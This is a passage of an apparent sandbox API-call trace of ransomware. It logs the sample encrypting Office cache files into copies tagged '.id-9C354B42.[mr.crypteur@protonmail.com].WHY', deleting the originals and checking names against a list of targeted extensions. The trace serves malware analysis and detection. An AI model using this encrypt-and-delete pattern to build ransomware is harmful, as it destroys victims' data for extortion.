returned -1 [0062.355] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0062.355] lstrlenW (lpString="VisioMUI.xml") returned 12 [0062.355] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0062.575] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=9503) returned 1 [0062.590] CloseHandle (hObject=0x1e0) returned 1 [0062.590] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 0x2020 [0062.590] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0062.590] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0062.591] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.591] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.591] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.592] GetLastError () returned 0x0 [0062.592] ReadFile (in: hFile=0x1e0, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x251f, lpOverlapped=0x0) returned 1 [0062.925] WriteFile (in: hFile=0x1f4, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x2520, lpOverlapped=0x0) returned 1 [0063.451] ReadFile (in: hFile=0x1e0, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.451] WriteFile (in: hFile=0x1f4, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.451] SetEndOfFile (hFile=0x1f4) returned 1 [0063.713] CloseHandle (hObject=0x1f4) returned 1 [0064.386] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.386] SetEndOfFile (hFile=0x1e0) returned 1 [0064.391] CloseHandle (hObject=0x1e0) returned 1 [0064.393] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0064.397] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 1 [0064.398] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0064.398] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0064.398] lstrlenW (lpString=".doc") returned 4 [0064.398] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.399] lstrlenW (lpString=".docx") returned 5 [0064.399] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0064.399] lstrlenW (lpString=".pdf") returned 4 [0064.399] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.399] lstrlenW (lpString=".xls") returned 4 [0064.399] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.399] lstrlenW (lpString=".xlsx") returned 5 [0064.399] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0064.399] lstrlenW (lpString=".ppt") returned 4 [0064.399] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.399] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0064.399] lstrlenW (lpString=".zip") returned 4 [0064.400] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.400] lstrlenW (lpString=".rar") returned 4 [0064.400] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.400] lstrlenW (lpString=".bz2") returned 4 [0064.400] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.400] lstrlenW (lpString=".7z") returned 3 [0064.400] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.400] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0064.400] lstrlenW (lpString=".dbf") returned 4 [0064.400] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.400] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0064.400] lstrlenW (lpString=".1cd") returned 4 [0064.400] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.400] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0064.400] lstrlenW (lpString=".jpg") returned 4 [0064.400] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.401] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0064.401] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0064.401] lstrlenW (lpString=".doc") returned 4 [0064.401] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.401] lstrlenW (lpString=".docx") returned 5 [0064.401] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0064.401] lstrlenW (lpString=".pdf") returned 4 [0064.401] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.401] lstrlenW (lpString=".xls") returned 4 [0064.401] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.401] lstrlenW (lpString=".xlsx") returned 5 [0064.401] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0064.401] lstrlenW (lpString=".ppt") returned 4 [0064.401] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0064.402] lstrlenW (lpString=".zip") returned 4 [0064.402] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.402] lstrlenW (lpString=".rar") returned 4 [0064.402] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.402] lstrlenW (lpString=".bz2") returned 4 [0064.402] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.402] lstrlenW (lpString=".7z") returned 3 [0064.402] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0064.402] lstrlenW (lpString=".dbf") returned 4 [0064.402] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0064.402] lstrlenW (lpString=".1cd") returned 4 [0064.403] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.403] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0064.403] lstrlenW (lpString=".jpg") returned 4 [0064.403] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.403] lstrcmpiW (lpString1=".chm", lpString2=".WHY") returned -1 [0064.403] lstrlenW (lpString="pss10r.chm") returned 10 [0064.403] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0064.411] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=27195) returned 1 [0064.411] CloseHandle (hObject=0x1e0) returned 1 [0064.411] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 0x2020 [0064.411] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0064.412] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0064.412] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.412] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.412] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0064.413] GetLastError () returned 0x0 [0064.413] ReadFile (in: hFile=0x1e0, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0065.295] WriteFile (in: hFile=0x1f4, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0065.299] ReadFile (in: hFile=0x1e0, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.299] WriteFile (in: hFile=0x1f4, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0065.300] SetEndOfFile (hFile=0x1f4) returned 1 [0065.300] CloseHandle (hObject=0x1f4) returned 1 [0065.301] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.302] SetEndOfFile (hFile=0x1e0) returned 1 [0065.305] CloseHandle (hObject=0x1e0) returned 1 [0065.305] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0065.306] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 1 [0065.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0065.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0065.306] lstrlenW (lpString=".doc") returned 4 [0065.306] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0065.306] lstrlenW (lpString=".docx") returned 5 [0065.306] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0065.306] lstrlenW (lpString=".pdf") returned 4 [0065.307] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0065.307] lstrlenW (lpString=".xls") returned 4 [0065.307] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0065.307] lstrlenW (lpString=".xlsx") returned 5 [0065.307] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0065.307] lstrlenW (lpString=".ppt") returned 4 [0065.307] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0065.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0065.307] lstrlenW (lpString=".zip") returned 4 [0065.307] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0065.307] lstrlenW (lpString=".rar") returned 4 [0065.307] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0065.307] lstrlenW (lpString=".bz2") returned 4 [0065.307] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0065.307] lstrlenW (lpString=".7z") returned 3 [0065.308] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0065.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0065.308] lstrlenW (lpString=".dbf") returned 4 [0065.308] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0065.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0065.308] lstrlenW (lpString=".1cd") returned 4 [0065.308] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0065.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0065.308] lstrlenW (lpString=".jpg") returned 4 [0065.308] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0065.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0065.309] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0065.309] lstrlenW (lpString=".doc") returned 4 [0065.309] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0065.309] lstrlenW (lpString=".docx") returned 5 [0065.309] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0065.309] lstrlenW (lpString=".pdf") returned 4 [0065.309] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0065.309] lstrlenW (lpString=".xls") returned 4 [0065.309] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0065.309] lstrlenW (lpString=".xlsx") returned 5 [0065.309] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0065.309] lstrlenW (lpString=".ppt") returned 4 [0065.310] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0065.310] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0065.310] lstrlenW (lpString=".zip") returned 4 [0065.310] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0065.310] lstrlenW (lpString=".rar") returned 4 [0065.310] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0065.310] lstrlenW (lpString=".bz2") returned 4 [0065.310] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0065.310] lstrlenW (lpString=".7z") returned 3 [0065.310] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0065.310] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0065.310] lstrlenW (lpString=".dbf") returned 4 [0065.310] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0065.310] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0065.311] lstrlenW (lpString=".1cd") returned 4 [0065.311] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0065.311] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0065.311] lstrlenW (lpString=".jpg") returned 4 [0065.311] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0065.311] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0065.311] lstrlenW (lpString="branding.xml") returned 12 [0065.311] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0065.423] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=596341) returned 1 [0065.423] CloseHandle (hObject=0x1e0) returned 1 [0065.423] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 0x2020 [0065.423] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0065.423] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0065.424] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.424] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.424] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0065.424] GetLastError () returned 0x0 [0065.424] ReadFile (in: hFile=0x1e0, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x91975, lpOverlapped=0x0) returned 1 [0065.454] WriteFile (in: hFile=0x1f4, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0065.877] ReadFile (in: hFile=0x1e0, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.878] WriteFile (in: hFile=0x1f4, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0065.878] SetEndOfFile (hFile=0x1f4) returned 1 [0065.878] CloseHandle (hObject=0x1f4) returned 1 [0065.888] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.888] SetEndOfFile (hFile=0x1e0) returned 1 [0066.292] CloseHandle (hObject=0x1e0) returned 1 [0066.292] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0066.293] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 1 [0066.294] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0066.294] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0066.294] lstrlenW (lpString=".doc") returned 4 [0066.294] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.294] lstrlenW (lpString=".docx") returned 5 [0066.294] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0066.294] lstrlenW (lpString=".pdf") returned 4 [0066.295] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.295] lstrlenW (lpString=".xls") returned 4 [0066.295] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.295] lstrlenW (lpString=".xlsx") returned 5 [0066.295] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0066.295] lstrlenW (lpString=".ppt") returned 4 [0066.295] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.295] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0066.295] lstrlenW (lpString=".zip") returned 4 [0066.295] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.295] lstrlenW (lpString=".rar") returned 4 [0066.296] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.296] lstrlenW (lpString=".bz2") returned 4 [0066.296] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.296] lstrlenW (lpString=".7z") returned 3 [0066.296] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.296] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0066.296] lstrlenW (lpString=".dbf") returned 4 [0066.296] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.296] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0066.296] lstrlenW (lpString=".1cd") returned 4 [0066.296] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.296] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0066.296] lstrlenW (lpString=".jpg") returned 4 [0066.296] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.297] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0066.297] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0066.297] lstrlenW (lpString=".doc") returned 4 [0066.297] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.297] lstrlenW (lpString=".docx") returned 5 [0066.297] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0066.297] lstrlenW (lpString=".pdf") returned 4 [0066.297] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.297] lstrlenW (lpString=".xls") returned 4 [0066.297] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.297] lstrlenW (lpString=".xlsx") returned 5 [0066.297] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0066.298] lstrlenW (lpString=".ppt") returned 4 [0066.298] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0066.298] lstrlenW (lpString=".zip") returned 4 [0066.298] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.298] lstrlenW (lpString=".rar") returned 4 [0066.298] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.298] lstrlenW (lpString=".bz2") returned 4 [0066.298] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.298] lstrlenW (lpString=".7z") returned 3 [0066.298] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.298] 